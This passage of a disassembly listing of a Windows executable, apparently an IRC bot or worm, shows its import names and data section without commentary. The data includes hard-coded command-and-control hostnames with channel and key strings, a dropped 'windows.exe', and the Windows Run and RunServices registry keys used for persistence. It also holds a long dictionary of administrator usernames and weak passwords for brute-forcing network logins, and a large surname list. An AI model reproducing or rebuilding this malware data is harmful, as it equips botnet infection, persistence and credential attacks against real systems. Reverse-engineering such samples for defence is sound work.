aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 37B0000h
		dd 74726956h, 516C6175h, 79726575h, 23A0000h, 614D434Ch
		dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h
		dd 57676E69h, 3600000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
aA_2		db 'í',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db  4Dh	; M
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
aU_1		db 'î',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 14Fh
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db  2Ah	; *
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db 'å',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db 0B2h	; ²
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1B5h
aGetstringtypew	db 'GetStringTypeW',0
		align 10h
		db  3Eh	; >
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 212h
aHeapsize	db 'HeapSize',0
		align 2
		dw 229h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 226h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 21Fh
aInterlockedexc	db 'InterlockedExchange',0
		dd 65530303h, 646E4574h, 6946664Fh, 656Ch
_rdata		ends

; Section 3. (virtual address 0003C000)
; Virtual size			: 000A7F34 ( 687924.)
; Section size in file		: 000A7F34 ( 687924.)
; Offset to raw	data for section: 0003C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43C000h
dword_43C000	dd 0			; DATA XREF: __cinit+45o
		dd offset ___security_init_cookie
		dd offset sub_42A0C8
		dd offset sub_42A0DF
dword_43C010	dd 0			; DATA XREF: __cinit+4Co
dword_43C014	dd 0			; DATA XREF: __cinit+12o
		dd offset ___initstdio
		dd offset ___initmbctable
		dd offset ___onexitinit
		dd offset ___sse2_available_init
		dd offset sub_4255AA
dword_43C02C	dd 0			; DATA XREF: __cinit+17o
dword_43C030	dd 0			; DATA XREF: _doexit:loc_41F217o
		dd offset ___endstdio
dword_43C038	dd 0			; DATA XREF: _doexit+6Co
dword_43C03C	dd 0			; DATA XREF: _doexit:loc_41F236o
		dd offset sub_4255BD
dword_43C044	dd 3 dup(0)		; DATA XREF: _doexit+8Bo
dword_43C050	dd 80000002h		; DATA XREF: sub_401000+24r
off_43C054	dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er
					; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd 80000002h, 43C1A0h, 80000001h, 43C170h
dword_43C068	dd 0FEF3h		; DATA XREF: WinMain(x,x,x,x)+48Br
					; WinMain(x,x,x,x)+513r
dword_43C06C	dd 0FEF3h		; DATA XREF: WinMain(x,x,x,x)+559r
dword_43C070	dd 1ECFh		; DATA XREF: sub_40274D:loc_405090r
dword_43C074	dd 539h			; DATA XREF: sub_40274D+1E88r
					; sub_40B690+3Br
dword_43C078	dd 24A8h		; DATA XREF: sub_40274D:loc_4046B9r
					; sub_40B690:loc_40BA78r
dword_43C07C	dd 2700h		; DATA XREF: sub_40274D:loc_404825r
word_43C080	dw 116Ch		; DATA XREF: sub_40274D:loc_4051A9r
		align 4
dword_43C084	dd 1			; DATA XREF: sub_40274D+5CEr
dword_43C088	dd 1			; DATA XREF: WinMain(x,x,x,x):loc_40A58Er
					; sub_41AEDD+Cr
byte_43C08C	db 2Eh			; DATA XREF: sub_40274D+9A7r
					; sub_40274D+A5Br ...
		align 10h
dword_43C090	dd 4			; DATA XREF: sub_40A800+39r
					; sub_40A800+5Fr ...
; int dword_43C094
dword_43C094	dd 4			; DATA XREF: sub_4025EF+44r
					; sub_40274D+252r ...
; int dword_43C098
dword_43C098	dd 1			; DATA XREF: sub_4025EF+3Br
					; sub_40274D+24Cr
; char aFicken[]
aFicken		db 'ficken',0           ; DATA XREF: sub_40274D:loc_404EF5o
					; sub_40274D+6677o ...
		align 4
aBloodRep	db 'blood-rep',0        ; DATA XREF: sub_40274D:loc_40539Fo
		align 10h
; char aKeke1[]
aKeke1		db 'keke1',0            ; DATA XREF: sub_40274D+79ACo
					; sub_40274D+7A63o
		align 4
; char aBxi_ath_cx[]
aBxi_ath_cx	db 'bxi.ath.cx',0       ; DATA XREF: WinMain(x,x,x,x)+477o
					; WinMain(x,x,x,x)+504o
		align 4
; char a_fast_[]
a_fast_		db '#.fast.#',0         ; DATA XREF: WinMain(x,x,x,x)+492o
					; WinMain(x,x,x,x)+51Ao ...
		align 10h
; char aRofl1[]
aRofl1		db 'rofl1',0            ; DATA XREF: WinMain(x,x,x,x)+4A9o
					; WinMain(x,x,x,x)+52Co
		align 4
; char byte_43C0D8
byte_43C0D8	db 62h			; DATA XREF: WinMain(x,x,x,x):loc_40A79Fr
					; WinMain(x,x,x,x)+54Ao
aXi_ath_cx	db 'xi.ath.cx',0
		align 4
; char a_fast__0[]
a_fast__0	db '#.fast.#',0         ; DATA XREF: WinMain(x,x,x,x)+560o
		align 10h
; char aRofl1_0[]
aRofl1_0	db 'rofl1',0            ; DATA XREF: WinMain(x,x,x,x)+572o
		align 4
; char aWindows_exe[]
aWindows_exe	db 'windows.exe',0      ; DATA XREF: sub_40274D+1E75o
					; WinMain(x,x,x,x)+13Co ...
; char aWindows_sys[]
aWindows_sys	db 'windows.sys',0      ; DATA XREF: sub_414B1C+3Do
aLoghdriver	db 'loghDriver',0       ; DATA XREF: sub_401000+Bo
		align 4
aNetapi		db 'netapi-',0          ; DATA XREF: .text:0040A87Eo
aTessst_exe	db 'tessst.exe',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_40274D+7AE0o
		align 4
; char a_fast__1[]
a_fast__1	db '#.fast.#',0         ; DATA XREF: sub_40274D+1B58o
					; sub_40274D+2E40o ...
		align 4
; char a_fast__3[]
a_fast__3	db '#.fast.#',0         ; DATA XREF: sub_40274D+41A7o
		align 10h
; char a_fast__2[]
a_fast__2	db '#.fast.#',0         ; DATA XREF: sub_40274D+3DDDo
					; sub_40274D+3F25o
		align 4
off_43C15C	dd offset a@bxi_net	; DATA XREF: sub_40274D+7A09r
					; "*@bxi.net"
off_43C160	dd offset aMircV6_10Khale ; DATA XREF: sub_40274D+7EAr
					; "mIRC	v6.10 Khaled Mardam-Bey"
		dd offset aMircV6_12Khale ; "mIRC v6.12	Khaled Mardam-Bey"
		dd offset aMircV6_14Khale ; "mIRC v6.14	Khaled Mardam-Bey"
		dd offset aMircV6_16Khale ; "mIRC v6.16	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:off_43C054o
		align 10h
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41CB8D+23o
					; sub_41CEAF+23o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41CB8D+D0o
					; sub_41CEAF+D0o
		align 4
off_43C218	dd offset aAdministrato_0 ; DATA XREF: sub_4100AE+182r
					; sub_4100AE+18Ao
					; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
off_43C268	dd offset byte_42B633	; DATA XREF: sub_410047r sub_410047+Co
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_0	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass_2	; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_1	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser_0	; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco_0	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
dword_43C498	dd 10h			; DATA XREF: sub_40274D+A0Br
					; sub_40274D+A37r ...
		align 10h
dword_43C4A0	dd 6C616572h		; DATA XREF: sub_40AB83+Fr
		dd 2 dup(0)
dword_43C4AC	dd 0			; DATA XREF: sub_40AB83:loc_40ABAAr
off_43C4B0	dd offset sub_40A800	; DATA XREF: sub_40AB83+4Ar
aConst		db 'const',0
		align 10h
		dd 1, 40A86Ch, 7474656Ch, 7265h, 0
		dd 2, 40A8CAh, 706D6F63h, 2 dup(0)
		dd 3, 40A917h, 6E756F63h, 797274h, 0
		dd 4, 40A986h, 736Fh, 2	dup(0)
		dd 5, 40A9FBh
off_43C518	dd offset aAbdulrazak	; DATA XREF: sub_40A800+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
		dd offset aAddison	; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
